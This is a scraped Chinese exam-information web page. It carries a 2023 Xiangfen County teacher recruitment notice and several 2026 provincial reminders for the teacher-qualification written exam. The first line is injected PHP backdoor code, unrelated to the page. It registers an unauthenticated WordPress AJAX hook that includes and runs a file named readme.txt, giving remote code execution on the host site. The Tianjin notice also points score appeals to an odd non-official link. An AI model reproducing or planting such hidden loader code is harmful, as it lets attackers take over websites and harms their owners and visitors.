if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
山西临汾市襄汾县2023校园招聘教师25人公告-全国教师资格考试网

山西临汾市襄汾县2023校园招聘教师25人公告

  为加强我县教师队伍建设,经县委、县政府研究,决定通过校园招聘补充25名教师。现公告如下:

  一、招聘原则

  坚持德才兼备的用人标准和公开、平等、竞争、择优的原则。

  二、招聘对象

  符合招聘条件的2023年全国普通高等院校应届毕业生(不含委培、定向生)。

  三、招聘计划及岗位要求

  详见《襄汾县2023年校园招聘教师岗位信息表》(附件1)。

  四、招聘条件及要求

  (一)具有中华人民共和国国籍;

  (二)遵守宪法、法律和法规;

  (三)具有良好的品行和职业道德;

  (四)具有岗位所需的学历、专业和资格条件;

  (五)适应岗位要求的身体条件;

  (六)年龄满18周岁,35周岁及以下(1987年5月29日至2005年5月29日期间出生);

  (七)具备报考岗位所要求的其他资格条件。

  凡有下列情形之一者不得报考:

  1.现役军人和在读的非应届毕业生(其中,非2023年应届毕业的研究生不得以原取得的本科或研究生学历、学位证书报考),不能报考;

  2.因犯罪受过刑事处罚的、被开除中国共产党党籍和公职的;在立案审查期间或未解除党纪、政纪处分的人员,不能报考;

  3.各级公务员招考和事业单位招聘中被认定有舞弊等严重违反考录、招聘纪律行为的人员,不能报考;

  4.试用期内的公务员(参照公务员法管理事业单位工作人员)和试用期内的事业单位工作人员,不能报考;

  5.招聘为事业单位工作人员有服务年限规定且服务期未满的,不得报考;

  6.被依法列为失信联合惩戒对象以及法律、法规规定不符合本次公开招聘要求的人员,不能报考。

  7.报考人员不得报考聘用后即构成回避关系的岗位。

  8.法律规定不得聘用的其他情形人员。

  应聘者在报名之后、聘用之前已成为试用期内的公务员(参照管理单位工作人员)或已被聘用为事业单位工作人员的,不予聘用。

  五、招聘程序

  (一)报名及资格初审

  1.报名

  本次校园招聘采取网上报名方式进行。

  报名时间:2023年6月9日-6月13日

  报名邮箱:sfxxyzp2022@163.com(山西省襄汾高级中学校)sxxfdxp@163.com(襄汾县职业技术教育中心)

  2.报名所需材料

  ①《襄汾县2023年校园招聘教师报名表》(附件2)。

  ②本人近期电子免冠2寸彩照(红底或蓝底),并重命名为本人姓名。

  ③本人有效居民身份证。

  ④毕业证、学位证。暂未取得毕业证、学位证的可提供《就业推荐表》或学校出具的学籍证明(证明内容包括:姓名、性别、身份证号码、毕业时间、毕业学校、学历、学位、专业等,要求表述完整准确,加盖学校公章)。

  ⑤教师资格证。暂未取得教师资格证的可提供“中小学教师资格考试网”打印的《中小学教师资格考试合格证明》。

  ⑥普通话等级证。须二乙及以上等级,其中语文学科要求二甲及以上等级。

  ⑦承诺书(附件3)。

  考生为港澳台学生、留学归国人员,应提供教育部中国留学生服务中心出具的境外学历、学位、专业认证资料。

  以上资料,将证件或证明按顺序扫描,统一以压缩包形式发送至报名邮箱。压缩包命名格式为“报名岗位+姓名+联系电话”。

  3.报名要求

  每位应聘人员限报一个招聘单位的一个招聘岗位。

  考生要诚信报名。报考人员对网上提交的个人信息材料和上传的电子照片的真实性和准确性负责(其中应聘者《报名表》所填写的专业应当与报考者本人取得高校毕业证上所载明的专业一致;如毕业学校按照一级学科发放毕业证的,须如实填写毕业证所载一级学科名称,《报名表》“备注”栏中写明所学具体专业;国外毕业留学生的专业由招聘单位结合岗位需求进行认定)。报考人员应确认本人完全符合相关岗位的报考条件。如对报考条件和岗位要求存在疑问,应及时向招聘单位进一步咨询确认。

  暂未取得毕业证、学位证的原则上应在2023年7月31日前取得,教师资格证应在办理聘用手续前取得。未在规定期限内交验的,取消应聘资格。

  保持联系方式畅通,因信息填报有误或联系方式不准等因素,导致未通过资格审查,不能取得联系的,责任由报名者自负。

  4.资格初审

  根据报名资格和基本条件对报考人员进行资格审查。报名人员在提交报考申请后,由工作人员告知初审结果。对通过资格初审的,将通知本人复审及考试时间、地点等信息;未通过初审的,将及时告知本人。

  (三)资格复审     

  资格复审由招聘单位负责,采取现场审查的方式进行。

  1.资格复审时,应聘人员应提供所有报名材料的原件及复印件一份。

  材料不全或所提供的材料与所报岗位资格条件不符以及主要信息不实的,取消该应聘人员的应聘资格。应聘人员未按规定时间、地点参加资格复审的,视为自动放弃。

  2.发放准考证。通过资格复审者,招聘单位将发放准考证。

  (四)考试

  资格复审通过人员凭准考证参加考试。本次校园招聘笔试和面试工作由招聘单位委托具有资质的第三方机构统一组织实施。

  若同一岗位招聘人数与资格审查合格人数比例不达1:5,则直接进行面试。面试总成绩为100分,最低合格分数线为70分,面试成绩即为综合成绩。

  1.笔试

  (1)命题和阅卷:由第三方机构组织实施。

  (2)笔试采取闭卷方式进行,总分为100分。考试时间为120分钟。

  (3)笔试内容为本学科专业知识。

  若同一岗位招聘人数与资格审查合格人数比例达1:5,则采取先笔试后面试的方式进行。根据笔试成绩从高分到低分,按照同一岗位招聘人数1:3比例确定面试人选,不达1:3比例的按实有人员确定面试人选。综合成绩=笔试成绩×60%+面试成绩×40%。笔试成绩、面试成绩最低合格分数线均为70分。

  笔试成绩、面试成绩、综合成绩均保留两位小数(四舍五入)。

  2.面试

  面试采取现场无反馈教学形式进行。其中学科教师面试采取说课和理论解答等方式进行,每位应聘人员面试时间为15分钟;专业教师面试采取说课和实践操作方式进行,每位应聘人员面试时间为20分钟。

  面试重点测试应聘人员的专业理论知识、综合分析能力、逻辑思维能力、临场应变能力、语言表达能力等综合素质。

  为确保面试工作的公平、公正,拟成立考官组。命题和现场打分由考官组组织进行,每个考官组5-7人,由有关方面人员和专家组成,其中招聘单位及其主管部门参加面试的考官人数不得超过1人。每组设主考官1人,由外聘考官担任,主持本组面试工作。

  面试工作关键环节将全程录音、录像。

  面试成绩、综合成绩应于当天公布。

  直接面试的岗位,出现面试成绩相同时,加试面试,按面试加试后的成绩由高分到低分的顺序确定体检考察人选。

  笔试和面试相结合的岗位,若2名以上应聘人员综合成绩相同时,按笔试成绩由高分到低分的顺序确定体检和考察人选;如笔试成绩仍相同,加试一场面试,按加试面试成绩从高分到低分进行排序。

  报考人员未按规定时间、地点参加招聘考试的,视为自动放弃。

  笔试成绩、面试成绩及综合成绩于7日内在襄汾县人民政府网站发布。

  (五)体检和考察

  根据同一岗位综合成绩由高到低排序,按照该岗位招聘计划数1:1的比例等额确定体检和考察人员。体检和考察由招聘单位组织实施。

  体检标准及项目参照教育部教师资格认定指导中心《关于调整申请认定幼儿园教师资格人员体检标准的通知》(教资字〔2010〕15号)和《山西省申请教师资格人员体检标准及办法(修订)》(晋教人字〔2005〕19号)。体检安排在具有体检资质的县级及以上综合性医院进行。应聘人员对体检结果有异议或体检结论不合格需要复检的,本人可在体检结果公布后3个工作日内申请复查,经招聘单位同意后,应在具有体检资质的同一级别或上一级别的另一家医院复检。招聘单位、参加体检的应聘人员及家属对复检结果仍有异议的,承担复检的医院应组织相关专家进行会诊,做出最终结论。对因怀孕不能全部完成体检项目的,按国家相关政策执行。不按时参加体检者,视同放弃资格。体检费用自理。

  考察主要考察应聘者在校期间的学习情况、平时思想政治表现等,原则上以学校毕业鉴定等证明材料为准。同时要对报考者提供报考信息的真实性和档案进行复审、审核,对考生的应聘资格进行再次确认。不按规定时间、地点参加考察并提供个人完整档案的人员,视为自动放弃。考察不合格者,取消其聘用资格。

  在体检、考察环节因个人主动放弃或体检、考察不合格而形成的岗位空缺按综合成绩由高到低顺次递补一次。

  (六)公示与聘用

  经考试、体检、考察合格的确定为拟聘用人员,在襄汾县人民政府网站公布,进行7个工作日的聘前公示。公示期间接受社会举报,举报者应以真实姓名实事求是地反映问题,并提供必要的调查线索。公示发现问题经查属实的,取消拟聘人员聘用资格。

  拟聘人员公示期满后不再进行递补。

  公示期满,由县委编办、县人社、县财政等部门办理有关手续。填写《山西省事业单位公开招聘人员登记表》一式4份,个人档案、招聘单位、主管部门、人社部门各1份备案。用人单位法定代表人与被聘用人员签订聘用合同,确定人事关系。

  所聘人员实行聘用制和试用期制度,试用期包括在聘用合同期限内。试用期满经考核合格后,正式聘用;考核不合格的,取消聘用。

  受聘人员享受应聘事业单位所在岗位全部待遇及人才引进政策性补贴。

  聘用人员最低连续服务年限为5年。

  六、咨询和监督

  本次校园招聘政策和具体事宜咨询电话:

  0357-3820518(山西省襄汾高级中学校)

  13935721073(襄汾县职业技术教育中心)     

  0357-3530002(襄汾县教育科技局)

  监督电话:0357-3530015 

  电话接听时间为招聘期间工作日的工作时间。

  附件:

  1.襄汾县2023年校园招聘教师岗位信息表.xls

  2.襄汾县2023年校园招聘教师报名表.docx 

  3.承诺书.docx

襄汾县教育科技局

2023年5月29日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部